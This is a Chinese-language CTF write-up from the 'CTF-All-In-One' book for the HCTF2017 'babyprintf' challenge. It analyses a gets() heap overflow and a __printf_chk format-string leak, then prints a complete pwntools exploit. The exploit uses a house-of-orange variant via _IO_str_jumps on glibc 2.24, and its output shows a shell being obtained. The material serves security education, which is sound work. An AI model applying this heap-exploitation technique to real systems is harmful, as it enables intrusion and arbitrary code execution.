📊
CTF-All-In-One
  • 简介
  • 前言
  • 一、基础知识篇
    • 1.1 CTF 简介
    • 1.2 学习方法
    • 1.3 Linux 基础
    • 1.4 Web 安全基础
      • 1.4.1 HTML 基础
      • 1.4.2 HTTP 协议基础
      • 1.4.3 JavaScript 基础
      • 1.4.4 常见 Web 服务器基础
      • 1.4.5 OWASP Top Ten Project 漏洞基础
      • 1.4.6 PHP 源码审计基础
    • 1.5 逆向工程基础
      • 1.5.1 C/C++ 语言基础
      • 1.5.2 汇编基础
      • 1.5.3 Linux ELF
      • 1.5.4 Windows PE
      • 1.5.5 静态链接
      • 1.5.6 动态链接
      • 1.5.7 内存管理
      • 1.5.8 glibc malloc
      • 1.5.9 Linux 内核
      • 1.5.10 Windows 内核
      • 1.5.11 jemalloc
    • 1.6 密码学基础
      • 1.6.1 密码学导论
      • 1.6.2 流密码
      • 1.6.3 分组密码
      • 1.6.4 公钥密码
      • 1.6.5 消息认证和哈希函数
      • 1.6.6 数字签名
      • 1.6.7 密码协议
      • 1.6.8 密钥分配与管理
      • 1.6.9 数字货币
    • 1.7 Android 安全基础
      • 1.7.1 Android 环境搭建
      • 1.7.2 Dalvik 指令集
      • 1.7.3 ARM 汇编基础
      • 1.7.4 Android 常用工具
  • 二、工具篇
    • 虚拟化分析环境
      • 2.1.1 VirtualBox
      • 2.1.2 QEMU
      • 2.1.3 Docker
      • 2.1.4 Unicorn
    • 静态分析工具
      • 2.2.1 radare2
      • 2.2.2 IDA Pro
      • 2.2.3 JEB
      • 2.2.4 Capstone
      • 2.2.5 Keystone
      • 2.2.6 Ghidra
    • 动态分析工具
      • 2.3.1 GDB
      • 2.3.2 OllyDbg
      • 2.3.3 x64dbg
      • 2.3.4 WinDbg
      • 2.3.5 LLDB
    • 其他工具
      • 2.4.1 pwntools
      • 2.4.2 zio
      • 2.4.3 metasploit
      • 2.4.4 binwalk
      • 2.4.5 Burp Suite
      • 2.4.6 Wireshark
      • 2.4.7 Cuckoo Sandbox
  • 三、分类专题篇
    • Pwn
      • 3.1.1 格式化字符串漏洞
      • 3.1.2 整数溢出
      • 3.1.3 栈溢出
      • 3.1.4 返回导向编程(ROP)(x86)
      • 3.1.5 返回导向编程(ROP)(ARM)
      • 3.1.6 Linux 堆利用(一)
      • 3.1.7 Linux 堆利用(二)
      • 3.1.8 Linux 堆利用(三)
      • 3.1.9 Linux 堆利用(四)
      • 3.1.10 内核 ROP
      • 3.1.11 Linux 内核漏洞利用
      • 3.1.12 Windows 内核漏洞利用
      • 3.1.13 竞争条件
      • 3.1.14 虚拟机逃逸
    • Reverse
      • 3.2.1 patch 二进制文件
      • 3.2.2 脱壳技术(PE)
      • 3.2.3 脱壳技术(ELF)
      • 3.2.4 反调试技术(PE)
      • 3.2.5 反调试技术(ELF)
      • 3.2.6 指令混淆
    • Web
      • 3.3.1 SQL 注入利用
      • 3.3.2 XSS 漏洞利用
    • Crypto
    • Misc
      • 3.5.1 Lsb
    • Mobile
  • 四、技巧篇
    • 4.1 Linux 内核调试
    • 4.2 Linux 命令行技巧
    • 4.3 GCC 编译参数解析
    • 4.4 GCC 堆栈保护技术
    • 4.5 ROP 防御技术
    • 4.6 one-gadget RCE
    • 4.7 通用 gadget
    • 4.8 使用 DynELF 泄露函数地址
    • 4.9 shellcode 开发
    • 4.10 跳转导向编程(JOP)
    • 4.11 利用 mprotect 修改栈权限
    • 4.12 利用 __stack_chk_fail
    • 4.13 利用 _IO_FILE 结构
    • 4.14 glibc tcache 机制
    • 4.15 利用 vsyscall 和 vDSO
  • 五、高级篇
    • 5.0 软件漏洞分析
    • 5.1 模糊测试
      • 5.1.1 AFL fuzzer
      • 5.1.2 libFuzzer
    • 5.2 动态二进制插桩
      • 5.2.1 Pin
      • 5.2.2 DynamoRio
      • 5.2.3 Valgrind
    • 5.3 符号执行
      • 5.3.1 angr
      • 5.3.2 Triton
      • 5.3.3 KLEE
      • 5.3.4 S²E
    • 5.4 数据流分析
      • 5.4.1 Soot
    • 5.5 污点分析
      • 5.5.1 TaintCheck
    • 5.6 LLVM
      • 5.6.1 Clang
    • 5.7 程序切片
    • 5.8 SAT/SMT
      • 5.8.1 Z3
    • 5.9 基于模式的漏洞分析
    • 5.10 基于二进制比对的漏洞分析
    • 5.11 反编译技术
      • 5.11.1 RetDec
  • 六、题解篇
    • Pwn
      • 6.1.1 pwn HCTF2016 brop
      • 6.1.2 pwn NJCTF2017 pingme
      • 6.1.3 pwn XDCTF2015 pwn200
      • 6.1.4 pwn BackdoorCTF2017 Fun-Signals
      • 6.1.5 pwn GreHackCTF2017 beerfighter
      • 6.1.6 pwn DefconCTF2015 fuckup
      • 6.1.7 pwn 0CTF2015 freenote
      • 6.1.8 pwn DCTF2017 Flex
      • 6.1.9 pwn RHme3 Exploitation
      • 6.1.10 pwn 0CTF2017 BabyHeap2017
      • 6.1.11 pwn 9447CTF2015 Search-Engine
      • 6.1.12 pwn N1CTF2018 vote
      • 6.1.13 pwn 34C3CTF2017 readme_revenge
      • 6.1.14 pwn 32C3CTF2015 readme
      • 6.1.15 pwn 34C3CTF2017 SimpleGC
      • 6.1.16 pwn HITBCTF2017 1000levels
      • 6.1.17 pwn SECCONCTF2016 jmper
      • 6.1.18 pwn HITBCTF2017 Sentosa
      • 6.1.19 pwn HITBCTF2018 gundam
      • 6.1.20 pwn 33C3CTF2016 babyfengshui
      • 6.1.21 pwn HITCONCTF2016 Secret_Holder
      • 6.1.22 pwn HITCONCTF2016 Sleepy_Holder
      • 6.1.23 pwn BCTF2016 bcloud
      • 6.1.24 pwn HITCONCTF2016 House_of_Orange
      • 6.1.25 pwn HCTF2017 babyprintf
      • 6.1.26 pwn 34C3CTF2017 300
      • 6.1.27 pwn SECCONCTF2016 tinypad
      • 6.1.28 pwn ASISCTF2016 b00ks
      • 6.1.29 pwn Insomni'hack_teaserCTF2017 The_Great_Escape_part-3
      • 6.1.30 pwn HITCONCTF2017 Ghost_in_the_heap
      • 6.1.31 pwn HITBCTF2018 mutepig
      • 6.1.32 pwn SECCONCTF2017 vm_no_fun
      • 6.1.33 pwn 34C3CTF2017 LFA
      • 6.1.34 pwn N1CTF2018 memsafety
      • 6.1.35 pwn 0CTF2018 heapstorm2
      • 6.1.36 pwn NJCTF2017 messager
      • 6.1.37 pwn sixstarctf2018 babystack
      • 6.1.38 pwn HITCONCMT2017 pwn200
      • 6.1.39 pwn BCTF2018 house_of_Atum
      • 6.1.40 pwn LCTF2016 pwn200
      • 6.1.41 pwn PlaidCTF2015 PlaidDB
      • 6.1.42 pwn hacklu2015 bookstore
      • 6.1.43 pwn 0CTF2018 babyheap
      • 6.1.44 pwn ASIS2017 start_hard
      • 6.1.45 pwn LCTF2016 pwn100
    • Reverse
      • 6.2.1 re XHPCTF2017 dont_panic
      • 6.2.2 re ECTF2016 tayy
      • 6.2.3 re CodegateCTF2017 angrybird
      • 6.2.4 re CSAWCTF2015 wyvern
      • 6.2.5 re PicoCTF2014 Baleful
      • 6.2.6 re SECCONCTF2017 printf_machine
      • 6.2.7 re CodegateCTF2018 RedVelvet
      • 6.2.8 re DefcampCTF2015 entry_language
    • Web
      • 6.3.1 web HCTF2017 babycrack
    • Crypto
    • Misc
    • Mobile
  • 七、实战篇
    • CVE
      • 7.1.1 CVE-2017-11543 tcpdump sliplink_print 栈溢出漏洞
      • 7.1.2 CVE-2015-0235 glibc __nss_hostname_digits_dots 堆溢出漏洞
      • 7.1.3 CVE-2016-4971 wget 任意文件上传漏洞
      • 7.1.4 CVE-2017-13089 wget skip_short_body 栈溢出漏洞
      • 7.1.5 CVE–2018-1000001 glibc realpath 缓冲区下溢漏洞
      • 7.1.6 CVE-2017-9430 DNSTracer 栈溢出漏洞
      • 7.1.7 CVE-2018-6323 GNU binutils elf_object_p 整型溢出漏洞
      • 7.1.8 CVE-2010-2883 Adobe CoolType SING 表栈溢出漏洞
      • 7.1.9 CVE-2010-3333 Microsoft Word RTF pFragments 栈溢出漏洞
    • Malware
  • 八、学术篇
    • 8.1 The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86)
    • 8.2 Return-Oriented Programming without Returns
    • 8.3 Return-Oriented Rootkits: Bypassing Kernel Code Integrity Protection Mechanisms
    • 8.4 ROPdefender: A Detection Tool to Defend Against Return-Oriented Programming Attacks
    • 8.5 Data-Oriented Programming: On the Expressiveness of Non-Control Data Attacks
    • 8.7 What Cannot Be Read, Cannot Be Leveraged? Revisiting Assumptions of JIT-ROP Defenses
    • 8.9 Symbolic Execution for Software Testing: Three Decades Later
    • 8.10 AEG: Automatic Exploit Generation
    • 8.11 Address Space Layout Permutation (ASLP): Towards Fine-Grained Randomization of Commodity Softwa
    • 8.13 New Frontiers of Reverse Engineering
    • 8.14 Who Allocated My Memory? Detecting Custom Memory Allocators in C Binaries
    • 8.21 Micro-Virtualization Memory Tracing to Detect and Prevent Spraying Attacks
    • 8.22 Practical Memory Checking With Dr. Memory
    • 8.23 Evaluating the Effectiveness of Current Anti-ROP Defenses
    • 8.24 How to Make ASLR Win the Clone Wars: Runtime Re-Randomization
    • 8.25 (State of) The Art of War: Offensive Techniques in Binary Analysis
    • 8.26 Driller: Augmenting Fuzzing Through Selective Symbolic Execution
    • 8.27 Firmalice - Automatic Detection of Authentication Bypass Vulnerabilities in Binary Firmware
    • 8.28 Cross-Architecture Bug Search in Binary Executables
    • 8.29 Dynamic Hooks: Hiding Control Flow Changes within Non-Control Data
    • 8.30 Preventing brute force attacks against stack canary protection on networking servers
    • 8.33 Under-Constrained Symbolic Execution: Correctness Checking for Real Code
    • 8.34 Enhancing Symbolic Execution with Veritesting
    • 8.38 TaintEraser: Protecting Sensitive Data Leaks Using Application-Level Taint Tracking
    • 8.39 DART: Directed Automated Random Testing
    • 8.40 EXE: Automatically Generating Inputs of Death
    • 8.41 IntPatch: Automatically Fix Integer-Overflow-to-Buffer-Overflow Vulnerability at Compile-Time
    • 8.42 Dynamic Taint Analysis for Automatic Detection, Analysis, and Signature Generation of Exploits
    • 8.43 DTA++: Dynamic Taint Analysis with Targeted Control-Flow Propagation
    • 8.44 Superset Disassembly: Statically Rewriting x86 Binaries Without Heuristics
    • 8.45 Ramblr: Making Reassembly Great Again
    • 8.46 FreeGuard: A Faster Secure Heap Allocator
    • 8.48 Reassembleable Disassembling
  • 九、附录
    • 9.1 更多 Linux 工具
    • 9.2 更多 Windows 工具
    • 9.3 更多资源
    • 9.4 Linux 系统调用表
    • 9.5 python2到3字符串转换
    • 9.6 幻灯片
Powered by GitBook
On this page
  • 题目复现
  • 题目解析
  • main
  • 漏洞利用
  • overwrite top chunk
  • leak libc
  • house of orange
  • pwn
  • exploit
  • 参考资料

Was this helpful?

  1. 六、题解篇
  2. Pwn

6.1.25 pwn HCTF2017 babyprintf

Previous6.1.24 pwn HITCONCTF2016 House_of_OrangeNext6.1.26 pwn 34C3CTF2017 300

Last updated 3 years ago

Was this helpful?

题目复现

$ file babyprintf
babyprintf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=5652f65b98094d8ab456eb0a54d37d9b09b4f3f6, stripped
$ checksec -f babyprintf
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   Yes     1               2       babyprintf
$ strings libc-2.24.so | grep "GNU C"
GNU C Library (Ubuntu GLIBC 2.24-9ubuntu2.2) stable release version 2.24, by Roland McGrath et al.
Compiled by GNU CC version 6.3.0 20170406.

64 位程序,开启了 canary 和 NX,默认开启 ASLR。

在 Ubuntu16.10 上玩一下:

./babyprintf
size: 0
string: AAAA
result: AAAAsize: 10
string: %p.%p.%p.%p
result: 0x7ffff7dd4720.(nil).0x7ffff7fb7500.0x7ffff7dd4720size: -1
too long

真是个神奇的 "printf" 实现。首先 size 的值对 string 的输入似乎并没有什么影响;然后似乎是直接打印 string,而没有考虑格式化字符串的问题;最后程序应该是对 size 做了大小上的检查,而且是无符号数。

题目解析

main

[0x00400850]> pdf @ main
            ;-- section..text:
/ (fcn) main 130
|   main ();
|           ; DATA XREF from 0x0040086d (entry0)
|           0x004007c0      push rbx                                   ; [14] -r-x section size 706 named .text
|           0x004007c1      xor eax, eax
|           0x004007c3      call sub.setbuf_950                        ; void setbuf(FILE *stream,
|       ,=< 0x004007c8      jmp 0x400815
        |   0x004007ca      nop word [rax + rax]
|       |   ; CODE XREF from 0x00400832 (main)
|      .--> 0x004007d0      mov edi, eax
|      :|   0x004007d2      call sym.imp.malloc                         ; rax = malloc(size) 分配堆空间
|      :|   0x004007d7      mov esi, str.string:                       ; 0x400aa4 ; "string: "
|      :|   0x004007dc      mov rbx, rax
|      :|   0x004007df      mov edi, 1
|      :|   0x004007e4      xor eax, eax
|      :|   0x004007e6      call sym.imp.__printf_chk
|      :|   0x004007eb      mov rdi, rbx                                ; rdi = rbx == rax
|      :|   0x004007ee      xor eax, eax
|      :|   0x004007f0      call sym.imp.gets                           ; 调用 gets 读入字符串
|      :|   0x004007f5      mov esi, str.result:                       ; 0x400aad ; "result: "
|      :|   0x004007fa      mov edi, 1
|      :|   0x004007ff      xor eax, eax
|      :|   0x00400801      call sym.imp.__printf_chk
|      :|   0x00400806      mov rsi, rbx                                ; rsi = rbx == rax
|      :|   0x00400809      mov edi, 1
|      :|   0x0040080e      xor eax, eax
|      :|   0x00400810      call sym.imp.__printf_chk                   ; 调用 __printf_chk 打印字符串
|      :|   ; CODE XREF from 0x004007c8 (main)
|      :`-> 0x00400815      mov esi, str.size:                         ; 0x400a94 ; "size: "
|      :    0x0040081a      mov edi, 1
|      :    0x0040081f      xor eax, eax
|      :    0x00400821      call sym.imp.__printf_chk
|      :    0x00400826      xor eax, eax
|      :    0x00400828      call sub._IO_getc_990                       ; 读入 size
|      :    0x0040082d      cmp eax, 0x1000
|      `==< 0x00400832      jbe 0x4007d0                                ; size 小于等于 0x1000 时跳转
|           0x00400834      mov edi, str.too_long                      ; 0x400a9b ; "too long"
|           0x00400839      call sym.imp.puts                          ; int puts(const char *s)
|           0x0040083e      mov edi, 1
\           0x00400843      call sym.imp.exit                          ; void exit(int status)

整个程序非常简单,首先分配 size 大小的空间,然后在这里读入字符串,由于使用 gets() 函数,可能会导致堆溢出。然后直接调用 __printf_chk() 打印这个字符串,可能会导致栈信息泄露。

这里需要注意的是 __printf_chk() 函数,由于程序开启了 FORTIFY 机制,所以程序在编译时所有的 printf() 都被 __printf_chk() 替换掉了。区别有两点:

  • 不能使用 %x$n 不连续地打印,也就是说如果要使用 %3$n,则必须同时使用 %1$n 和 %2$n。

  • 在使用 %n 的时候会做一些检查。

漏洞利用

所以这题应该不止是利用格式化字符串,其实是 house-of-orange 的升级版。由于 libc-2.24 中加入了对 vtable 指针的检查,原先的 house-of-arange 已经不可用了。然后新的利用技术又出现了,即一个叫做 _IO_str_jumps 的 vtable 里的 _IO_str_overflow 虚表函数(参考章节 4.13)。

overwrite top chunk

def overwrite_top():
    payload  = "A" * 16
    payload += p64(0) + p64(0xfe1)              # top chunk header
    prf(0x10, payload)

为了能将 top chunk 释放到 unrosted bin 中,首先覆写 top chunk 的 size 字段:

gdb-peda$ x/8gx 0x602010-0x10
0x602000:	0x0000000000000000	0x0000000000000021
0x602010:	0x4141414141414141	0x4141414141414141
0x602020:	0x0000000000000000	0x0000000000000fe1      <-- top chunk
0x602030:	0x0000000000000000	0x0000000000000000

leak libc

def leak_libc():
    global libc_base

    prf(0x1000, '%p%p%p%p%p%pA')                # _int_free in sysmalloc
    libc_start_main = int(io.recvuntil("A", drop=True)[-12:], 16) - 241
    libc_base = libc_start_main - libc.symbols['__libc_start_main']

    log.info("libc_base address: 0x%x" % libc_base)

然后利用格式化字符串来泄露 libc 的地址,此时的 top chunk 也已经放到 unsorted bin 中了:

gdb-peda$ x/10gx 0x602010-0x10
0x602000:	0x0000000000000000	0x0000000000000021
0x602010:	0x4141414141414141	0x4141414141414141
0x602020:	0x0000000000000000	0x0000000000000fc1      <-- old top chunk
0x602030:	0x00007ffff7dd1b58	0x00007ffff7dd1b58
0x602040:	0x0000000000000000	0x0000000000000000
gdb-peda$ x/6gx 0x623010-0x10
0x623000:	0x0000000000000000	0x0000000000001011
0x623010:	0x7025702570257025	0x0000004170257025      <-- format string
0x623020:	0x0000000000000000	0x0000000000000000
gdb-peda$ x/4gx 0x623000+0x1010
0x624010:	0x0000000000000000	0x0000000000020ff1      <-- new top chunk
0x624020:	0x0000000000000000	0x0000000000000000

house of orange

def house_of_orange():
    io_list_all = libc_base + libc.symbols['_IO_list_all']
    system_addr = libc_base + libc.symbols['system']
    bin_sh_addr = libc_base + libc.search('/bin/sh\x00').next()
    vtable_addr = libc_base + 0x3be4c0          # _IO_str_jumps

    log.info("_IO_list_all address: 0x%x" % io_list_all)
    log.info("system address: 0x%x" % system_addr)
    log.info("/bin/sh address: 0x%x" % bin_sh_addr)
    log.info("vtable address: 0x%x" % vtable_addr)

    stream  = p64(0) + p64(0x61)                # fake header   # fp
    stream += p64(0) + p64(io_list_all - 0x10)  # fake bk pointer
    stream += p64(0)                            # fp->_IO_write_base
    stream += p64(0xffffffff)                   # fp->_IO_write_ptr
    stream += p64(0) *2                         # fp->_IO_write_end, fp->_IO_buf_base
    stream += p64((bin_sh_addr - 100) / 2)      # fp->_IO_buf_end
    stream  = stream.ljust(0xc0, '\x00')
    stream += p64(0)                            # fp->_mode

    payload  = "A" * 0x10
    payload += stream
    payload += p64(0) * 2
    payload += p64(vtable_addr)                 # _IO_FILE_plus->vtable
    payload += p64(system_addr)
    prf(0x10, payload)

改进版的 house-of-orange,详细你已经看了参考章节,这里就不再重复了,内存布局如下:

gdb-peda$ x/40gx 0x602010-0x10
0x602000:	0x0000000000000000	0x0000000000000021
0x602010:	0x4141414141414141	0x4141414141414141
0x602020:	0x0000000000000000	0x0000000000000021
0x602030:	0x4141414141414141	0x4141414141414141
0x602040:	0x0000000000000000	0x0000000000000061      <-- _IO_FILE_plus
0x602050:	0x0000000000000000	0x00007ffff7dd24f0
0x602060:	0x0000000000000000	0x7fffffffffffffff
0x602070:	0x0000000000000000	0x0000000000000000
0x602080:	0x00003ffffbdcd5ee	0x0000000000000000
0x602090:	0x0000000000000000	0x0000000000000000
0x6020a0:	0x0000000000000000	0x0000000000000000
0x6020b0:	0x0000000000000000	0x0000000000000000
0x6020c0:	0x0000000000000000	0x0000000000000000
0x6020d0:	0x0000000000000000	0x0000000000000000
0x6020e0:	0x0000000000000000	0x0000000000000000
0x6020f0:	0x0000000000000000	0x0000000000000000
0x602100:	0x0000000000000000	0x0000000000000000
0x602110:	0x0000000000000000	0x00007ffff7dce4c0      <-- vtable
0x602120:	0x00007ffff7a556a0	0x0000000000000000      <-- system
0x602130:	0x0000000000000000	0x0000000000000000
gdb-peda$ x/gx 0x00007ffff7dce4c0 + 0x18
0x7ffff7dce4d8:	0x00007ffff7a8f2b0                              <-- __overflow

pwn

def pwn():
    io.sendline("0")        # abort routine
    io.interactive()

最后触发异常处理,malloc_printerr -> __libc_message -> __GI_abort -> _IO_flush_all_lockp -> __GI__IO_str_overflow,获得 shell。

开启 ASLR,Bingo!!!

$ python exp.py
[+] Starting local process './babyprintf': pid 8307
[*] libc_base address: 0x7f40dc2ca000
[*] _IO_list_all address: 0x7f40dc68c500
[*] system address: 0x7f40dc30f6a0
[*] /bin/sh address: 0x7f40dc454c40
[*] vtable address: 0x7f40dc6884c0
[*] Switching to interactive mode
result: AAAAAAAAAAAAAAAAsize: *** Error in `./babyprintf': malloc(): memory corruption: 0x00007f40dc68c500 ***
======= Backtrace: =========
...
$ whoami
firmy

exploit

完整 exp 如下:

#!/usr/bin/env python

from pwn import *

#context.log_level = 'debug'

io = process(['./babyprintf'], env={'LD_PRELOAD':'./libc-2.24.so'})
libc = ELF('libc-2.24.so')

def prf(size, string):
    io.sendlineafter("size: ", str(size))
    io.sendlineafter("string: ", string)

def overwrite_top():
    payload  = "A" * 16
    payload += p64(0) + p64(0xfe1)              # top chunk header
    prf(0x10, payload)

def leak_libc():
    global libc_base

    prf(0x1000, '%p%p%p%p%p%pA')                # _int_free in sysmalloc
    libc_start_main = int(io.recvuntil("A", drop=True)[-12:], 16) - 241
    libc_base = libc_start_main - libc.symbols['__libc_start_main']

    log.info("libc_base address: 0x%x" % libc_base)

def house_of_orange():
    io_list_all = libc_base + libc.symbols['_IO_list_all']
    system_addr = libc_base + libc.symbols['system']
    bin_sh_addr = libc_base + libc.search('/bin/sh\x00').next()
    vtable_addr = libc_base + 0x3be4c0          # _IO_str_jumps

    log.info("_IO_list_all address: 0x%x" % io_list_all)
    log.info("system address: 0x%x" % system_addr)
    log.info("/bin/sh address: 0x%x" % bin_sh_addr)
    log.info("vtable address: 0x%x" % vtable_addr)

    stream  = p64(0) + p64(0x61)                # fake header   # fp
    stream += p64(0) + p64(io_list_all - 0x10)  # fake bk pointer
    stream += p64(0)                            # fp->_IO_write_base
    stream += p64(0xffffffff)                   # fp->_IO_write_ptr
    stream += p64(0) *2                         # fp->_IO_write_end, fp->_IO_buf_base
    stream += p64((bin_sh_addr - 100) / 2)      # fp->_IO_buf_end
    stream  = stream.ljust(0xc0, '\x00')
    stream += p64(0)                            # fp->_mode

    payload  = "A" * 0x10
    payload += stream
    payload += p64(0) * 2
    payload += p64(vtable_addr)                 # _IO_FILE_plus->vtable
    payload += p64(system_addr)
    prf(0x10, payload)

def pwn():
    io.sendline("0")        # abort routine
    io.interactive()

if __name__ == '__main__':
    overwrite_top()
    leak_libc()
    house_of_orange()
    pwn()

参考资料

https://github.com/spineee/hctf/tree/master/2017/babyprintf
下载文件
题目复现
题目解析
漏洞利用
参考资料